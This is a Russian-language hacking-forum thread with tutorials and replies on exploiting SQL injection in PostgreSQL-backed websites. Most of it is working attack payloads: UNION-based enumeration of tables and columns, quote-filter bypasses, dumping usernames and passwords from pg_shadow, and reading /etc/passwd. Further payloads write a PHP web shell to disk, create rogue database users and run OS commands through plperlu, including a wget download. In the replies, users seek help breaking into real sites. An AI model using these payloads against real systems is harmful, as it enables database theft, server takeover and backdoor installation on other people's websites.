[Intro] Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий. Начнём! [Подбор столбцов] Здесь никакой экзотики, определяем так же как и в MySQL и Oracle. Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить Для этого существует 2 пути: 1. Простой перебор допустим у нас есть сайт с иньекцией Code: www.site.com/index.php?id=1' тогда выполняем такой запрос Code: www.site.com/index.php?id=-1+union+select+null если появилась ошибка, то увеличиваем количество колонок на одну Code: www.site.com/index.php?id=-1+union+select+null,null и так пока не исчезнет ошибка и появится пустая страница 2. Оператор ORDER BY С помощью этого оператора можно намного проще и быстрее определить количество столбцов Выполняем такой запрос: Code: www.site.com/index.php?id=-1+order+by+1-- (ошибки нет, значит столбцов 1 или больше 1) Code: www.site.com/index.php?id=-1+order+by+9999-- (должна появится ошибка, значит столбцов меньше 9999) Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда Code: www.site.com/index.php?id=-1+order+by+4-- (ошибки не будет) Code: www.site.com/index.php?id=-1+order+by+5-- (ошибка есть) [Определяем вывод] Предположим мы подобрали количество столбцов и их оказалось 4 Code: www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого подставим заместо одного из null - цифру Code: www.site.com/index.php?id=-1+union+select+null,111,null,null-- И так меняя столбцы мы узнаём вывод Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд) Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу) [Information_Schema] К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд. Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой. Узнаём таблицы Code: www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES-- Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET Именно OFFSET отвечает за номер записи с которой производится вывод. Пример: Code: www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1-- Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0) Узнаём колонки Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER То что мы знаем имя таблицы - это хорошо, но надо знать и колонки Для этого изменяем запрос на такой: Code: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS-- Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добовляя в него оператор WHERE: Code: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'-- Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки. В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида: Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR(). Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции. Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример: chr(113)||chr(114) - вернёт QR Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл. Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она - Code: http://www.paulschou.com/tools/xlate/ Но вернёмся к нашему сайту Закодировав слово user - мы получаем вот такие числа 117 115 101 114 Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так: Code: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)-- Теперь наш запрос правильный и должен вернуть имя колонки Так же обойти фильтрацию кавычек можно подзапросом. Пример: Code: www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)-- [PG_TABLES или альтернатива Information_schema] В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME Пример Code: www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0-- [Хэк или достаём нужную нам инфу из таблицы] Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок Составляем запрос: Code: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя юзера Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать Code: www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user-- Мы увидим запись типа Имя_юзера:мыло_юзера Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT() Использовать так - где: preved - строка которую нам нужно перевести в другую кодировку utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES) [Заключение] В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org. По мере того как информация будет пополнять мой мозг, статья будет обновлятся. Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =) ##END ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению
Можно также узнать колонки если кавычки фильтруются таким способом: Code: http://site.ru/index.php?id=-1+union+select+null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+20)-- подобрав нужную таблицу.
так же можно добавить current_database() возвращает имя базы данных с которой работает скрипт current_user() имя пользователя, под которым работает скрипт version() информация о версии.
Спасибо за статейку - она мне помогла! Я тулил в качесте коммента такой как в МуСКЛ и натыкался на еррор И завтыкал сам проверить двойной дефис! Ну эт детали! А вообще-то ОГРОММНОЕ СПАСИБО! А еще... Как вывести запрос в файл так как это делайет мускл?
Автор так же не заметил 1) Важную вещь. Коментарий и прерыв строки в некоторых случаях, особенно в сложных запросах он не обходим. Так вот коментарий в PGSQL служит так же симаол "{". Так же есть возможность прерываний строки ";" Далее создаем системного юзера: Так же подкину системные таблички: pg_auth_members pg_authid pg_database pg_pltemplate pg_shdepend pg_shdescription pg_tablespace Вроде все вспомнб что еще напишу )))
Вот ща поставил себе сервер постгре, и короче сделал вывод в файл! COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME' Только блин на серваке, ипстественно не моем не получается, видать прав у юзера мало Над будет попробывать создать юзера
help всем доброго времени суток.. попытался исследовать один сайт на скёрл инекции, потыкался, потыкался, и нашёл такие ошибки, а что с ними делать дальше я не понимаю... может подсказать в каком направлении идти дальше, продолжать бить эти ошибки, или же искать в других местах? заранее спасибо вот скрин ошибок
SQL-Injection в PostgreSQL SQL-Injection в PostgreSQL ::Вступление:: В этой статье я расскажу об особенностях проведения SQL-инъекций в PostgreSQL. Эта тема уже затрагивалась на форуме, о ней писал Spyder(https://forum.antichat.ru/thread35599.html). Попробуем копнуть чуть глубже. ::Ошибки:: Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать: Code: Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character... Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character... [Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character... Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in... Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции. ::Комментарии и пробелы:: Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой: Code: Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*" так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки. ::Вывод системной информации:: Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки: user current_user session_user getpgusername() Вывод версии: version() Вывод базы данных: current_database() Вывод IP сервера БД: inet_server_addr() Вывод порта сервера БД: inet_server_port() (по дефолту 5432) Выводим необходимую информацию, это удобно сделать одним запросом: Code: http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)-- И получим например такой ответ сервера: Code: Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in... Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9) Юзер - ed БД - sedbtac Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int-- Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":". Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом: id=27;select+version()::int-- либо id=27;select+cast(version()+as+int)-- ::Подбор количества колонок:: Колонки можно подбирать несколькими способами. 1.Используя конструкцию ORDER BY: id=27+order+by+100-- В случае меньшего числа колонок возвратится ошибка: Code: Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in... 2.ORDER BY за один запрос (способ, который предложил IceAngel): id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,... Отнимаем от выведенного числа единицу и получаем количество колонок. 3.Можно подбирать сразу конструкцией UNION+SELECT+NULL: id=27+union+select+null,null,null,... пока не исчезнет ошибка. 4.Либо подбирать подставляя цифры как и в MySQL: id=27+union+select+1,2,3,... При этом, если число колонок неправильное, то возвратится ошибка: Code: Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in... А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например: Code: Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in... Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY. ::Системные таблицы:: Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить. Рассмотрим полезные системные таблицы в PostgreSQL: 1. pg_user Поле****(Тип)****Описание usename (name) - Имя пользователя usesysid (int4) - Id usecreatedb (bool) - Может ли пользователь создавать БД usesuper (bool) - Имеет ли пользователь привилегии superuser usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow) valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем) useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице: 2. pg_shadow Поле****(Тип)****Описание usename (name) - Имя пользователя usesysid (int4) - Id usecreatedb (bool) - Может ли пользователь создавать БД usesuper (bool) - Имеет ли пользователь привилегии superuser usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы passwd (text) - Пароль valuntil (abstime) - Время истечения пароля useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету. 3. pg_database В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных. 4. information_schema.tables и information_schema.columns Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...). ::Вывод информации:: Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос: id=27+union+select+1,table_name,3,...+from+information_schema.tables-- А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию: id=27+union+select+1,table_name,3,...+from+information_schema.tables+limit+1+offset+1-- При этом перебираем мы тут параметром offset. Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос: id=27+union+select+1,column_name,3,...+from+information_schema.columns+where+table_name='имя_таблицы' Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет: ...+where+table_name=CHR(112)||CHR(103)||CHR(95)||CHR(117)||CHR(115)||CHR(101)||CHR(114) Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция: ...+where+table_name=$$имя_таблицы$$ Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например id=27+union+select+usename||chr(58)||passwd,null,null,null,null,null+from+pg_user-- Доступна конструкция LIKE: id=27+union+select+table_name,null,null,null,null,null+from+information_schema.columns+where+column_name+LIKE+$$%password%$$-- При этом %password% должно быть заключено в кавычки. Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE: Code: CASE WHEN condition THEN result [WHEN ...] [ELSE result] END Например: id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$$+ELSE+$$B$$+END)+as+int)-- Такое выражение в результате вернет нам "А". Можно использовать альтернативный вывод: id=27;select+cast(usename||chr(58)||passwd+as+int)+from+pg_user-- Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится. ::Выполнение команд:: Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper. С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права) В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";". Читаем /etc/passwd: id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/ id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/ id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/ id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/ Заливаем шелл: id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/ id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/ id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/ id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/ Создаём нового пользователя: id=27;CREATE USER hacker PASSWORD 'mypass'; Даём юзеру права на создание новых БД и новых пользователей: id=27;ALTER USER test1 CREATEUSER CREATEDB; ::Заключение:: Здесь рассмотрены далеко не все особенности PostgreSQL, статья будет дополняться мной по мере накопления материала. Приветствуются любые дополнения/исправления/замечания/комментарии.
Понял, что ты имел ввиду, надо проверить на практике, если хочешь, могу кинуть в ПМ сайт с полными правами, вместе потестим)
Небольшое дополнение Выполнение произвольного Perl/Python/Tcl/C кода Так как в PostgreSQL(вернее в пшп-функциях) мы можем раделять несколько запросов точкой с запятой ";" появляется возможность, имея соответcтвующие права, создавать собственные функции Чтобы узнать доступные языки выполняем запрос SELECT lanname,lanispl,lanpltrusted from pg_languageВ данной заметке я привожу пример с языком Perl Допустим мы получили plperl true true Создать функцию мы можем прямо сейчас CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$echo=234;return $echo' LANGUAGE 'plperl'; SELECT perlcmd(null);Тут появляется первая проблема. Пробуем создать что то более полезное CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$a=shift;system($a)' LANGUAGE 'plperl';ERROR: creation of Perl function "perlcmd" failed: 'system' trapped by operation mask at line 1Такая же история для обратных ковычек ERROR: creation of Perl function "perlcmd" failed: 'quoted execution (``, qx)' trapped by operation mask at line 1и т.д Постгре не даёт нам создать потенциально опасные функции. К счастью есть возможность обойти Для этого создадим новый язык по образцу перла CREATE LANGUAGE 'plperlu';и уже новую функцию CREATE OR REPLACE FUNCTION perlcmd2 (text)+returns text as '$a=shift;system($a)' LANGUAGE 'plperlu'; SELECT perlcmd2('wget http://www.example.com/file.txt -O /tmp/file.txt') НУ и самая главная проблема это права, создавать функции может только суперюзер и юзеры с расширеными правами, что встречается крайне редко Напомню что magic_quotes можно обойти симолами доллара SELECT $$ya_stroka$$;
как узнать уровень прав в системе??? я создаю таблицу, заливаю инфу(в данном случае шелл, как и в примере сверху) в поле таблицы, но вот вывод этой инфы в файл не получается: Warning: pg_query() [function.pg-query]: Query failed: ERROR: не получилось открыть файл "/1.php" для записи: Отказано в доступе заливаю так: адресс...=3;COPY+aa+(b)+TO+$$/1.php$$-- какие есть варианты залить\выполнить php код кроме представленных выше?
узнать свои права select usesuper from pg_users where usename=curent_user ты пытаешься создать файл в корне системы, права на запись имеет только рут, естественно никто постгрес запускать от рута не будет пробуй создать файл в /tmp для начала
чтобы запустить его (=\\\) тебе надо залить в папку видимую из веба, полный путь ты можешь увидеть в ошибке выдаваемой при неправильном запросе к постгре либо можешь поискать инклуд на сайте и проинклудеть из /tmp Вообще для тебя есть тема специальная https://forum.antichat.ru/newpostinthread46016.html
инлуда нет, а насчет папок /home1/www/site/lyrics/htdocs/index.php это я из ошибки вытащил, как теперь правильно директорию написать? /home1/www/site/lyrics/htdocs/1.php ??? или это не то? уже второй час ковыряю, никак залить нормально не могу
В полне возможно, точнее так и есть прав на запись в папку web нету. И вообще в pg sql комбинация ;COPY работает очень редко.